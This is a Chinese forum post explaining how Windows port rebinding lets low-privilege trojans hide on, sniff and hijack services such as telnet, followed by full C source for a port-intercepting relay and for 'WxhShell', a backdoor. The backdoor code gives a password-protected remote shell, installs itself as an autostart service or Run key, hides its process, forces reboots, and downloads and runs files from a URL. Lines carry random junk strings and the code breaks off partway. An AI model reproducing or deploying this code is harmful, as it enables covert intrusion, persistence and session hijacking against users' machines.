社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19220阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3bsuE^,.@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EN2H[i+,  
"5wer5? t  
  saddr.sin_family = AF_INET; dgEH]9j&  
|7CFm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JX)%iJq#  
tRtoA5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q9 S V<qg  
*DDqa?gQb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pLiGky  
/LK,:6  
  这意味着什么?意味着可以进行如下的攻击: ?y/LMja  
"7z1V{ ;Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [,a2A  
O~*`YsL9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b[/uSwvi  
af-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zz m[sX}  
VN/v]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "3;b,<0  
|& Pa`=sp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (3VV(18  
A. 5`+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <=Z`]8  
8! X K[zL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BG9.h!  
I .> SC  
  #include ^q}cy1"j"  
  #include =}K"@5J  
  #include Q<O(Ix  
  #include    $6DA<v^=z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &YOks.k  
  int main() 7#[8td  
  { *l.tsICmbP  
  WORD wVersionRequested; @,Kl"i;  
  DWORD ret; |*5HNP  
  WSADATA wsaData; efrVF5,y?  
  BOOL val; xT8pwTO  
  SOCKADDR_IN saddr; (x!Tb2mlk  
  SOCKADDR_IN scaddr; ;r3Xh)k;  
  int err; e. '6q ($3  
  SOCKET s; !mIr_d2"  
  SOCKET sc; 7^FJ+gN8b  
  int caddsize; MO-7y p:K  
  HANDLE mt; }UzRFIcv  
  DWORD tid;   w!--K9  
  wVersionRequested = MAKEWORD( 2, 2 ); :406Oa  
  err = WSAStartup( wVersionRequested, &wsaData ); SCL8.%z D  
  if ( err != 0 ) { /v-:ca)7mI  
  printf("error!WSAStartup failed!\n"); IBm"VCg{Ew  
  return -1; |kc#=b@l  
  } sNHxUI  
  saddr.sin_family = AF_INET; x_oiPu.V  
   ?B['8ju  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lN~V1(1B  
$'%.w|MJp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7GDrH/yK  
  saddr.sin_port = htons(23); jnIf (a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2H9;4>ss  
  { )WH;G:$&"  
  printf("error!socket failed!\n"); *-`-P  
  return -1; [ BZA1,  
  } <x[CL,Zg7  
  val = TRUE; ,)35Vi;.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^_ST#fFS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VdOcKP.  
  { m&a 8/5  
  printf("error!setsockopt failed!\n"); r WULv  
  return -1; U#6<80Ke  
  } [I 6&|Lz>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nsN|[E8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &rfl(&\oUi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;hb_jW-0W  
PHR:BiMZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <5E: ,<  
  { z)F<{]%  
  ret=GetLastError(); RAU"  
  printf("error!bind failed!\n"); A +41JMH  
  return -1; c-oIP~,  
  } uW0Dm#  
  listen(s,2); d}^G790  
  while(1) AMre(lgh  
  { W,f XHYst  
  caddsize = sizeof(scaddr); AU 4K$hC^  
  //接受连接请求 )%wNVW 0C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2+=:pc^  
  if(sc!=INVALID_SOCKET) %EE Q ^lm  
  { ZG$PW< 73~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u:w   
  if(mt==NULL) Ohn?>qQ  
  { d;hv_h  
  printf("Thread Creat Failed!\n"); s2`Qh9R  
  break; H&So Vi_V  
  } hl$X.O  
  } ]x5+v0   
  CloseHandle(mt); G$A=Tu~  
  } 0sfb$3y  
  closesocket(s); zVvL!  
  WSACleanup(); *ry}T=  
  return 0; -gB9476-  
  }   :r4o:@N'  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0vZ49}mb)  
  { v2jpao<K  
  SOCKET ss = (SOCKET)lpParam; 2(AuhZ>  
  SOCKET sc; XiO~^=J  
  unsigned char buf[4096]; +SNjU"x  
  SOCKADDR_IN saddr; g\]~H%2 ,  
  long num; { RC&Ub>  
  DWORD val; :5[1Iepdn  
  DWORD ret; @! {Y9k2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e+<'=_x {  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .]YTS  
  saddr.sin_family = AF_INET; 7q(A&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a.2Xl}2o5  
  saddr.sin_port = htons(23); =/Ph ]f9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IXv9mr?H}  
  { A)_HSIVi  
  printf("error!socket failed!\n"); i]15g@  
  return -1; _=_<cg y1u  
  } txik{' :  
  val = 100; i:60|ngK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .$]-::&  
  { 5m2f\^U  
  ret = GetLastError(); j;BlpRD}  
  return -1; \l1==,wk  
  } 1ne3CA=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "1Y'VpKm(~  
  { yT-qT_.  
  ret = GetLastError(); a4&Aw7"X  
  return -1; CUnBi?Mi  
  } b\S~uFq6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |B {*so]  
  { *RM 3 _  
  printf("error!socket connect failed!\n"); L6./5`bs  
  closesocket(sc); ] @:x<>  
  closesocket(ss); =2@ V}  
  return -1; tU0jFBB  
  } C}qHvwFm  
  while(1) mXs.@u/  
  { IU;a$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \V#fl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oA?EJ~%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #z+?t  
  num = recv(ss,buf,4096,0); {zalfw{+  
  if(num>0) ;;|.qgxc~  
  send(sc,buf,num,0); a"&cm'\lL  
  else if(num==0) zbI|3  
  break; ZeqsXz  
  num = recv(sc,buf,4096,0); e2yCWolmTS  
  if(num>0) :gn&wi  
  send(ss,buf,num,0);  {H*  
  else if(num==0) :$*@S=8O  
  break; NfWL3"&X  
  } bTt1yO  
  closesocket(ss); F*T$n"^  
  closesocket(sc); ]\y]8v5(  
  return 0 ; (H8JV1J  
  } i1S cXKO  
NFyKTA6  
GOOm] ]I  
========================================================== {y'4&vt<~  
ey6ujV7!  
下边附上一个代码,,WXhSHELL Zs4NN 2~  
?a-5^{{  
========================================================== k [LV^oEg  
Iz[ohn!f  
#include "stdafx.h" 6{quO# !  
~dk97Z8  
#include <stdio.h> qw 03]a  
#include <string.h> ~F8xXW0  
#include <windows.h> pxn@rN#*  
#include <winsock2.h> !;;7:!)P  
#include <winsvc.h> < 0YoZSNGj  
#include <urlmon.h> f] _'icP  
]!j%Ad  
#pragma comment (lib, "Ws2_32.lib") S=j pn  
#pragma comment (lib, "urlmon.lib") JvK]EwR ;  
>}:  
#define MAX_USER   100 // 最大客户端连接数 1m5*MY  
#define BUF_SOCK   200 // sock buffer n,d)Wwe_`y  
#define KEY_BUFF   255 // 输入 buffer n(`|:h"  
bz}-[W+  
#define REBOOT     0   // 重启 "8R &c}  
#define SHUTDOWN   1   // 关机 c]n"1YNm  
fW[ .Q0  
#define DEF_PORT   5000 // 监听端口 wr5v-_7r,  
G\o9mEzQ  
#define REG_LEN     16   // 注册表键长度 J;=T"C&  
#define SVC_LEN     80   // NT服务名长度 _N=f&~T  
}[R-)M  
// 从dll定义API &%%ix#iF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5YneoM]Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >7PNl\=gG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K?Sy ?Kz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A'.=SA2.Y  
&B ]1 VZUp  
// wxhshell配置信息 MT7B'hd  
struct WSCFG { 3I(;c ,S  
  int ws_port;         // 监听端口 3=yfbO<-  
  char ws_passstr[REG_LEN]; // 口令 k?$I4&|5Nt  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]T'7+5w  
  char ws_regname[REG_LEN]; // 注册表键名 ,ga6   
  char ws_svcname[REG_LEN]; // 服务名 p!5'#\^f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qXhdU/ =  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YRo,wsj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y%eq2%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vn_~ |-Wt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kk*8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l*6Zh "o:  
#wo *2 (  
}; \h_q]  
x H&hs$=  
// default Wxhshell configuration wJNm}Wf  
struct WSCFG wscfg={DEF_PORT, !-.GfI:q  
    "xuhuanlingzhe", OQ- Hn -H  
    1, hf^<lJh~=  
    "Wxhshell", :m(DRD  
    "Wxhshell", '_^T]fr}  
            "WxhShell Service", z:@:B:E  
    "Wrsky Windows CmdShell Service", {}$Zff   
    "Please Input Your Password: ", 0|J_'-<  
  1, 7}g4ePYag  
  "http://www.wrsky.com/wxhshell.exe", X6",Xr! {  
  "Wxhshell.exe" 1`YU9?  
    }; Z %Ozzp/  
uKd4+Km  
// 消息定义模块 JhfVm*,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ?C#E_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x M(H4.<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fx(h fz  
char *msg_ws_ext="\n\rExit."; ;AE-=/<  
char *msg_ws_end="\n\rQuit."; }f]Y^>-Ux  
char *msg_ws_boot="\n\rReboot..."; 3+15 yEeA  
char *msg_ws_poff="\n\rShutdown..."; YZj*F-}  
char *msg_ws_down="\n\rSave to "; NC#F:M;b  
s2#Ia>5!  
char *msg_ws_err="\n\rErr!"; i'7+ ?YL  
char *msg_ws_ok="\n\rOK!"; D:;idUO  
LP=j/qf|  
char ExeFile[MAX_PATH]; Ps74SoD-  
int nUser = 0; BBRL _6  
HANDLE handles[MAX_USER]; Jjm#ofv  
int OsIsNt; s4~[GO6>  
Vv45w#w;  
SERVICE_STATUS       serviceStatus; +.Ij%S[Px5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e=WjFnK[x7  
FO5a<6  
// 函数声明 REU,"  
int Install(void); 3f] ;y<Km  
int Uninstall(void); pK@=]K~l0  
int DownloadFile(char *sURL, SOCKET wsh); USEb} M`  
int Boot(int flag); 0z8?6~M;<  
void HideProc(void); Jsysk $R  
int GetOsVer(void);  L23}{P  
int Wxhshell(SOCKET wsl); I5_HaC>  
void TalkWithClient(void *cs); nUOi~cs  
int CmdShell(SOCKET sock); L%T(H<G  
int StartFromService(void); .VCY|KZ  
int StartWxhshell(LPSTR lpCmdLine); pA6KiY&  
EUi 70h +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yQE'!m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MQQm3VaKS  
]x r0]  
// 数据结构和表定义 W&IG,7tr  
SERVICE_TABLE_ENTRY DispatchTable[] = W n'a'  
{ {aUnOyX_  
{wscfg.ws_svcname, NTServiceMain}, =/!lK&  
{NULL, NULL} y%SxQA +\  
}; G{3 |d/;Bt  
O\ZC$XF  
// 自我安装 G aV&y  
int Install(void) IWQ0I&tzdx  
{ N2v/<  
  char svExeFile[MAX_PATH]; wSN9`"  
  HKEY key; m$fEk,d  
  strcpy(svExeFile,ExeFile); (-21h0N[V  
.9r YBy  
// 如果是win9x系统,修改注册表设为自启动 sD:o 2(G*  
if(!OsIsNt) { U X@%1W!8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lwr's'ao.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~v+kO~  
  RegCloseKey(key);  u]P|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uj):}xgi'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l1)~WqhE}  
  RegCloseKey(key);  X0VS a{  
  return 0; >u?.gJm~  
    } OG/b5U  
  } At'CT5=  
} DB5J3r81  
else { iT>u&0B-  
R}ki%i5|  
// 如果是NT以上系统,安装为系统服务 x b"z%.j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  :\\NK/"  
if (schSCManager!=0) :&IHdf0+  
{ jYHnJ}<  
  SC_HANDLE schService = CreateService Dfs*~H 63  
  ( s-$ Wc) l  
  schSCManager, dFm_"135  
  wscfg.ws_svcname, % i4 5  
  wscfg.ws_svcdisp, 2.D2 o  
  SERVICE_ALL_ACCESS, wq$$. .E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tk&AZb,sP  
  SERVICE_AUTO_START, ;xZ+1 zmL0  
  SERVICE_ERROR_NORMAL, _MBhwNBxZ  
  svExeFile, {p +&Q|  
  NULL, )G/bP!^+(  
  NULL, Q":_\inF  
  NULL, m/KaWrw/)  
  NULL, BNfj0e5b  
  NULL )`DVPudiy  
  ); HwUaaK   
  if (schService!=0) ?woL17Gt  
  { ppyy0E^M  
  CloseServiceHandle(schService); ^M'(/O1  
  CloseServiceHandle(schSCManager); {821e&r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CS7b3p!I  
  strcat(svExeFile,wscfg.ws_svcname); u>*a@3$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'J,UKK\5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5/=$p:E>  
  RegCloseKey(key); ';tlV u  
  return 0; n<.7tr0f\  
    } /)ZjI W"|  
  } FDMQ Lxf  
  CloseServiceHandle(schSCManager); jHFjd'  
} 0D(8-H  
} OS(`H5D  
.z>/A /&+  
return 1; B\J[O5},  
}  FA+HR  
6}^x#9\  
// 自我卸载 y2A\7&7  
int Uninstall(void) @t%da^-HS"  
{ 74Jx\(d  
  HKEY key; \ND]x]5d  
\p4*Q}t  
if(!OsIsNt) { cNWmaCLN$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*C }iJsF  
  RegDeleteValue(key,wscfg.ws_regname); w2s`9  
  RegCloseKey(key); f 2WVg;Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !j6 k]BgZ  
  RegDeleteValue(key,wscfg.ws_regname); =XfvPBA  
  RegCloseKey(key); {7:1F)Pj  
  return 0; Y25`vE(  
  } D!`[fjs6A  
} ef)RlzL Oq  
} xV> .]  
else { ht -'O"d:  
REh"/d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8W&1"h`  
if (schSCManager!=0) Et0gPX-  
{ k79OMf<v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -wn-PB@r  
  if (schService!=0) +~5Lo'^  
  { o?a2wY^_  
  if(DeleteService(schService)!=0) { L4po1  
  CloseServiceHandle(schService); 0~nX7  
  CloseServiceHandle(schSCManager); Ua}R3^_)a  
  return 0; x6/u+Urn  
  } Fp.eucRxP  
  CloseServiceHandle(schService); 7ys' [G|}r  
  } @K"$M>n$Z  
  CloseServiceHandle(schSCManager); OX;bA^+}P  
} O60T.MM`  
} =[n !3M+X  
H:G``Vq;0m  
return 1; D <iG*I  
} (%^C}`|EA  
4Wl`hF  
// 从指定url下载文件 ozOc6  
int DownloadFile(char *sURL, SOCKET wsh) so` \e^d  
{ Xe4   
  HRESULT hr; 3o rSk  
char seps[]= "/"; =c6d $  
char *token; ^tTM 7  
char *file; }9ulHiR  
char myURL[MAX_PATH]; ) 8xbc&M  
char myFILE[MAX_PATH]; ,LBj$U]e|E  
9O- otAGM  
strcpy(myURL,sURL); 8$uq60JK  
  token=strtok(myURL,seps); qjRbsD>  
  while(token!=NULL) g0 Q,]\~  
  { iZ]^JPU}  
    file=token; rO}1E<g (  
  token=strtok(NULL,seps); Y~Uf2(7b5  
  } / B!j`UK  
\4 b^*`d  
GetCurrentDirectory(MAX_PATH,myFILE); 9"[,9HN  
strcat(myFILE, "\\"); PS~_a  
strcat(myFILE, file); YMo8C(  
  send(wsh,myFILE,strlen(myFILE),0); x1~AY/)v  
send(wsh,"...",3,0); IR"C?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7^>~k}H  
  if(hr==S_OK) H ezbCwsx&  
return 0; BD"Dzq  
else +`flIG3RV  
return 1; remc_}`w  
i6bUJtL  
} e\}@w1  
Csu9u'.V  
// 系统电源模块 U/Cc!WXV]  
int Boot(int flag) Ifp8oL?S;  
{ %0&,_jM/9  
  HANDLE hToken; 5]G%MB/|$  
  TOKEN_PRIVILEGES tkp; U2`:'  
/K2[`+-  
  if(OsIsNt) { =o~mZ/ 7=M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~JRq :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;Q t%>Uo8  
    tkp.PrivilegeCount = 1; @CM5e!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0s8fF"$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :H>I`)bw  
if(flag==REBOOT) { 2a-]TVL3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jct=Nee|  
  return 0; odL* _<Z  
} E|-oUz t  
else { Q0-gU+ig  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U^}7DJ  
  return 0; ?* +>T@MH  
} I`+,I`~u  
  } "uplk8iCJ  
  else { ?0 cv  
if(flag==REBOOT) { \Ec*Gq?.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n:a~=^IV  
  return 0; MHp:".1  
} A pzC  
else { _rSwQ<38>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WXo bh  
  return 0; _*z ^PkH  
} OeGLMDw  
} [kkhVi5;A  
0OlT^  
return 1; ]fDb|s48  
} _|;d D  
Jr'a_ (~  
// win9x进程隐藏模块 +b_[JP2  
void HideProc(void) X6}W]  
{ sMLXn]m  
jc3Q3Th/zn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k"=*'  
  if ( hKernel != NULL ) }x#e.}hf&  
  { JS03B Itt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XlXt,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pq_U?_5Z'r  
    FreeLibrary(hKernel); <^$ppwk $  
  } ES^J RX  
u[SqZftmO  
return; s3sD7 @  
} b*tb$F  
Js:U1q  
// 获取操作系统版本 ;I@\}!%H  
int GetOsVer(void) /)RH-_63  
{ | oOAy  
  OSVERSIONINFO winfo; Sz|kXk6&9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p5"pQe S  
  GetVersionEx(&winfo); %Cj_z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `'3&tAy  
  return 1; w)&4i$Lk6  
  else eU)QoVt  
  return 0; Txl|F\nK`  
} ;Y8>?  
#I MaN%  
// 客户端句柄模块 v2r|) c,h  
int Wxhshell(SOCKET wsl) 48S NI  
{ #%%!r$UL  
  SOCKET wsh; ePq(.o  
  struct sockaddr_in client; t>a D;|Y  
  DWORD myID; HNc/p4z  
LB({,0mcX  
  while(nUser<MAX_USER) .*n*eeD,  
{  2rC&  
  int nSize=sizeof(client); GJ`._ju  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Ju;i<  
  if(wsh==INVALID_SOCKET) return 1; ukVBC"Ny  
ue?3;BF 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '.N}oL<gP  
if(handles[nUser]==0) FjizPg/|!  
  closesocket(wsh); ]ZP!y  
else .nNZ dta&=  
  nUser++; $e4N4e2x/  
  } 3(t3r::&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eB_r.R{  
KiFTj$w,  
  return 0; 1R yE8DdP  
} Yv)c\hm(7j  
xCWS  
// 关闭 socket gm-9 oA X  
void CloseIt(SOCKET wsh) =_ j<x$,b-  
{ S[hyN7sI  
closesocket(wsh); oa=TlBk<  
nUser--; HCkfw+gaV  
ExitThread(0); N^wHO<IO 1  
} F&+qd`8J  
'Q 7^bF^  
// 客户端请求句柄 Q {~$7J  
void TalkWithClient(void *cs) lup2> "?*  
{ RL\?i~'KH  
n'q:L(`M  
  SOCKET wsh=(SOCKET)cs; 9c*B%A8J  
  char pwd[SVC_LEN]; IC8%E3  
  char cmd[KEY_BUFF]; Dm}M8`|X  
char chr[1]; .#iot(g  
int i,j; fI<d&5&g  
z$d<ep{6  
  while (nUser < MAX_USER) { G3]#Du  
!J!&JQ|  
if(wscfg.ws_passstr) { ~Mar  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vGPsjxk&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nN-S5?X#  
  //ZeroMemory(pwd,KEY_BUFF); b5Q>e%i#  
      i=0; ":s_ O.  
  while(i<SVC_LEN) { |6^%_kO!|  
_/%,cYVc8!  
  // 设置超时 S-Bx`e9'  
  fd_set FdRead; Uey'c1  
  struct timeval TimeOut; v[8+fd)}S  
  FD_ZERO(&FdRead); Ok\X%avq  
  FD_SET(wsh,&FdRead); < FO=PM  
  TimeOut.tv_sec=8; vp*+C kd  
  TimeOut.tv_usec=0; 6@8z3JW.A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f^"pZS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lQ!OD& 6  
N#-pl:J(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yf8kBT:&S  
  pwd=chr[0]; `=,emP&(H&  
  if(chr[0]==0xd || chr[0]==0xa) { dkCU U  
  pwd=0; Fzt?M  
  break; )$df6sq  
  } 3/ }  
  i++; Qr7v^H~E4.  
    } GPL%8 YY  
RB %y($  
  // 如果是非法用户,关闭 socket LGZa l&9AY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NV9JMB{q  
} %8xRT@Q  
 |Nj6RB7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C&*1H`n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ >\|QS|  
]PoWL;E'  
while(1) { B {:a,V7  
0{8L^ jB/  
  ZeroMemory(cmd,KEY_BUFF); rJCb8x+5a  
gM=:80  
      // 自动支持客户端 telnet标准   m9i/rK_  
  j=0; qnj'*]ysBC  
  while(j<KEY_BUFF) { |rZMcl/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iT,7jd?6#  
  cmd[j]=chr[0]; 2E!~RjxSY  
  if(chr[0]==0xa || chr[0]==0xd) { btq 4diW  
  cmd[j]=0; nQ_{IO8/6W  
  break; ~ ) w4Tq  
  } i 61k  
  j++; |}UkVLc_^  
    } \( #"g  
>-<iY4|[d  
  // 下载文件 ^V96l Kt/  
  if(strstr(cmd,"http://")) { uh2_Rzln  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 73Jm  
  if(DownloadFile(cmd,wsh)) P}A!C9Frh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fr  
  else "UNFB3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 25{_x3t^  
  } 2@GizT*mA  
  else { Z f\~Cl  
fC*cqc~{@  
    switch(cmd[0]) { -,p=;t#(  
  ZcyGLg0I  
  // 帮助 (uDd_@a9t  
  case '?': { vI5lp5( -3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p`c_5!H  
    break; qa )BbK^i  
  } hp9U   
  // 安装 DHw)]WB M  
  case 'i': { Xw!\,"{s  
    if(Install()) y*vSt^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ow3.jHsLA  
    else TSsZzsdr2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @CL#B98jl  
    break; g]2L[4  
    } Cg]),S  
  // 卸载 Im/tU6ybV  
  case 'r': { uu,F5<y[  
    if(Uninstall()) rHX^bcYK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y6 sX|~Zy  
    else H%>4z3n   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u%)gnj_  
    break; 3+>n!8x ;A  
    } d>8" -$  
  // 显示 wxhshell 所在路径 Ws@'2i\;  
  case 'p': { SNH 3C1  
    char svExeFile[MAX_PATH]; L8PX SJ  
    strcpy(svExeFile,"\n\r"); tMiIlf!>p  
      strcat(svExeFile,ExeFile); VoZ{I{>|  
        send(wsh,svExeFile,strlen(svExeFile),0); qVE0[ve  
    break; ~RuX2u-2&u  
    } y-1e(:GF  
  // 重启 *<($.c  
  case 'b': { ^1bslCe   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kx] SiejJ  
    if(Boot(REBOOT)) m3lz#Pm'0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .=#j dc/  
    else { CG=c@-"n/  
    closesocket(wsh); K\F0nToJ.  
    ExitThread(0); L4g%o9G  
    } ][MtG  
    break; L#UR>Z#9  
    } ,=m.WmXE  
  // 关机 IL %]4,  
